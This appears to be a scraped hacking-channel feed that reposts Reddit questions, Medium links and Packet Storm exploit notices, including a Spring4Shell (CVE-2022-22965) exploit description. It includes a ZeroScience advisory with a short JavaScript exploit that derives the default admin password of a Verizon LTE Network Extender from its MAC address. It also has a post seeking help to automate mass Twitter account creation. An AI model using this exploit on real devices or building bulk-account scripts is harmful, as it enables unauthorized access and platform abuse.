Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
Wifi password algorithm - PBKDF location

I'm writing a security analysis article and I'm trying to reproduce the results given here in https://www.usenix.org/system/files/conference/woot15/woot15-paper-lorente.pdf with candidate firmware https://www.mediafire.com/file/sda5rzxqmfs5gh9/upfr.zip/file . Till now, I'm unable to locate the PBKDF algorithm location in the firmware. Can anybody help me with this? Pm me for further information. The firmware is an outdated version and not in use now at all.

submitted by /u/ProcedureDelicious95
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Wifi password algorithm - PBKDF location

I writing a security analysis article and I'm trying to reproduce the results given here in...

10 viewsedited 17:10

hacking: security in practice
Old Hack The Planet Website

Trying to find out what happened to a website/forum I used to frequent in the early 2010s called 'Hack the Planet'. It was basically a set of puzzles and challenges related to 'hacking' aka basic html stuff, that would get progressivley harder and were a way to get people to get more involved.

I used to fuck around there when I was younger and I thought I'd look it up, but I can't find anything about it. Maybe y'all know something about it.

Apologies if it's too off topic.

submitted by /u/AntonioG-S
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Old Hack The Planet Website

Trying to find out what happened to a website/forum I used to frequent in the early 2010s called 'Hack the Planet'. It was basically a set of...

10 viewsedited 17:12

Hacking Articles Tips Tricks Videos Tutorials

hacking: security in practice
Couldn't Find how two cookies are being set on twitter

So keeping it real I'm trying to create a twitter account creater script using python

First I thought of making it with requests lib but wasn't successful as I couldn't figure out how x-csrf-token is being set On twitter x-csrf-token can be found in cookies stored as ct0

There's this preflight request being made with activate.json on first time there isn't any token in but it's actually setting up "Access-Response-Headers" On second time when it's being called you can find csrf token in it and it's also saved in cookies.

And similar issues popped up when I tried doing it with requests

So i opted to selenium. At first I was able to create an account or 2 by automating it... But it's really time consuming and not worth it. And doesn't satisfy my initial goal which is to make it using requests not selenium.

Anyone willing to help?

submitted by /u/h4ck3r_x
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Couldn't Find how two cookies are being set on twitter

So keeping it real I'm trying to create a twitter account creater script using python First I thought of making it with requests lib but wasn't...

9 viewsedited 17:13

Hacking Articles Tips Tricks Videos Tutorials

7 views17:30

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Spring4Shell Code Execution

https://4.bp.blogspot.com/-slZrAXCcTc4/WWlvSkUdx-I/AAAAAAAAINc/GD9pE2wpupUfP-XcYlxrz5jw2m91dZTOgCLcBGAs/s1600/h39.png
Python exploit for CVE-2022-22965 that provides a prompt to the user in the style of an ssh session. The script is designed to be easy to understand and execute, with both readability and accessibility - depending on the user's choice. Designed for exploiting the vulnerability on tomcat servers. The fileDateFormat field on the server will be set and unset as part of the script which allows the exploit to be run multiple times. Cleanup may be required. It leverages a vulnerability found in the java spring framework before version 5.2, as well as in versions 5.3.0-17 an d 5.2.0-19 and running on a version of the Java Development Kit greater than or equal to 9.

MD5 | e7a290b05afa996043b9cfc38a121fcb

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Spring4Shell Code Execution

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

9 viewsedited 17:30

Hacking Articles Tips Tricks Videos Tutorials

Social Hunter
https://medium.com/@reconshell.com/social-hunter-f9748e360859?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Medium

Social Hunter

Crawls the given URL and finds broken social media links that can be hijacked. Broken social links may allow an attacker to conduct…

8 viewsedited 17:33

Hacking Articles Tips Tricks Videos Tutorials

8 views17:33

Hacking Articles Tips Tricks Videos Tutorials

Crawls the given URL and finds broken social media links that can be hijacked. Broken social links may allow an attacker to conduct…Continue reading on Medium » (https://medium.com/@reconshell.com/social-hunter-f9748e360859?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Medium

Social Hunter

Crawls the given URL and finds broken social media links that can be hijacked. Broken social links may allow an attacker to conduct…

9 viewsedited 17:33

Hacking Articles Tips Tricks Videos Tutorials

9 views17:34

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Verizon 4G LTE Network Extender 0.4.038.2131 Weak Credential Algorithm

https://3.bp.blogspot.com/-ZdpKmdYlHbY/WWlu_uhv-yI/AAAAAAAAIKA/GrhbPhfNXpolamaXsSLRo9Cb0FKriXUgQCLcBGAs/s1600/h12.png
Verizon's 4G LTE Network Extender is utilizing a weak default admin password generation algorithm. The password is generated using the last 4 values from device's MAC address which is disclosed on the main webUI login page to an unauthenticated attacker. The values are then concatenated with the string LTEFemto resulting in something like LTEFemtoD080 as the default Admin password. Versions GA4.38 through 0.4.038.2131 are affected.

MD5 | defda71595d58bb3b899ae80b3a351c1

Download


Verizon 4G LTE Network Extender Weak Credentials Algorithm
Vendor: Verizon Communications Inc.
Product web page: https://www.verizon.com
Affected version: GA4.38 - V0.4.038.2131

Summary: An LTE Network Extender enhances your indoor and 4G
LTE data and voice coverage to provide better service for your
4G LTE mobile devices. It's an extension of our 4G LTE network
that's placed directly in your home or office. The LTE Network
Extender works with all Verizon-sold 4G LTE mobile devices for
4G LTE data service and HD Voice-capable 4G LTE devices for voice
service. This easy-to-install device operates like a miniature
cell tower that plugs into your existing high-speed broadband
connection to communicate with the Verizon wireless network.

Desc: Verizon's 4G LTE Network Extender is utilising a weak
default admin password generation algorithm. The password is
generated using the last 4 values from device's MAC address
which is disclosed on the main webUI login page to an unauthenticated
attacker. The values are then concatenated with the string
'LTEFemto' resulting in something like 'LTEFemtoD080' as the
default Admin password.

Tested on: lighttpd-web
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2022-5701
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5701.php
17.02.2022

--
snippet:///Exploit
//
// Verizon 4G LTE Network Extender Super Awesome JS Exploit
//

console.log("Calling 'isDefaultPassword' API");
let req = new Request("/webapi/isDefaultPassword");
let def = req.url;

const doAjax = async () => {
const resp = await fetch(def);
if (resp.ok) {
const jsonyo = await resp.json();
return Promise.resolve(jsonyo);
} else {
return Promise.reject("Smth not rite captain!");
}
}
doAjax().then(console.log).catch(console.log);

await new Promise(t => setTimeout(t, 1337));

console.log("Verizon Admin Password: ");
let mac = document.querySelector("#mac_address").innerHTML;
console.log("LTEFemto" + mac.substr(-4));

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Verizon 4G LTE Network Extender 0.4.038.2131 Weak Credential Algorithm

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

9 viewsedited 17:34

Hacking Articles Tips Tricks Videos Tutorials

Dark Reading: Attacks/Breaches
Identifying a Vulnerability in the SAP Software Supply Chain

Make sure you're using the patch to block this supply chain attack.

8 views17:47

Source

Hacking Articles Tips Tricks Videos Tutorials

Rules of Engagement for Pentesters
https://www.reddit.com/r/Pentesting/comments/u2vc9x/rules_of_engagement_for_pentesters/

Hello Everyone, I am a Lawyer and recently a Client asked me to draw up rules of engagement for Pentesters that will be working on the projects posted on his Platform.
I don't know much about the space, therefore, was looking to get some insights from the Community. As to what rules the Pentesters have to abide by when performing their functions. P.S. I have done my research and went through the HackerOne Rules of Engagement for Pentesters, while the same was not available on other websites like Cobalt.io (https://cobalt.io/) or Bugcrowd.
Any insights or documents that you could lead me to would be of great help. Cheers. submitted by /u/Park-Beginning (https://www.reddit.com/user/Park-Beginning)
[link] (https://www.reddit.com/r/Pentesting/comments/u2vc9x/rules_of_engagement_for_pentesters/) [comments] (https://www.reddit.com/r/Pentesting/comments/u2vc9x/rules_of_engagement_for_pentesters/)

___________________________
@hacking_Attack
@Hacking_Video

Rules of Engagement for Pentesters

Hello Everyone, I am a Lawyer and recently a Client asked me to draw up rules of engagement for Pentesters that will be working on the...

7 viewsedited 18:07

Hacking Articles Tips Tricks Videos Tutorials

Social Hunter

Crawls the given URL and finds broken social media links that can be hijacked. Broken social links may allow an attacker to conduct…Continue reading on Medium »
Read more...

7 views18:14

Hacking Articles Tips Tricks Videos Tutorials

Hacking on Medium
Microsoft emite parches para 2 Windows Zero-Days y 126 otras vulnerabilidades

https://cdn-images-1.medium.com/max/972/0*H4B8L36R4RsnV42O
PUBLICADO EN 13 ABRIL, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Medium

Microsoft emite parches para 2 Windows Zero-Days y 126 otras vulnerabilidades

PUBLICADO EN 13 ABRIL, 2022POR EHACKING

6 viewsedited 19:48

Hacking Articles Tips Tricks Videos Tutorials

Hacking on Medium
What is “Telegram” and why is it one of the primary hubs for Cybercriminals?

https://cdn-images-1.medium.com/max/1024/1*1f4-WQP8F9p97KdsESTEkQ.png
Telegram and how Cybercriminals use it to their advantage.

Continue reading on HackerHub »

___________________________
@hacking_Attack
@Hacking_Video

Medium

What is “Telegram” and why is it one of the primary hubs for Cybercriminals?

Telegram and how Cybercriminals use it to their advantage.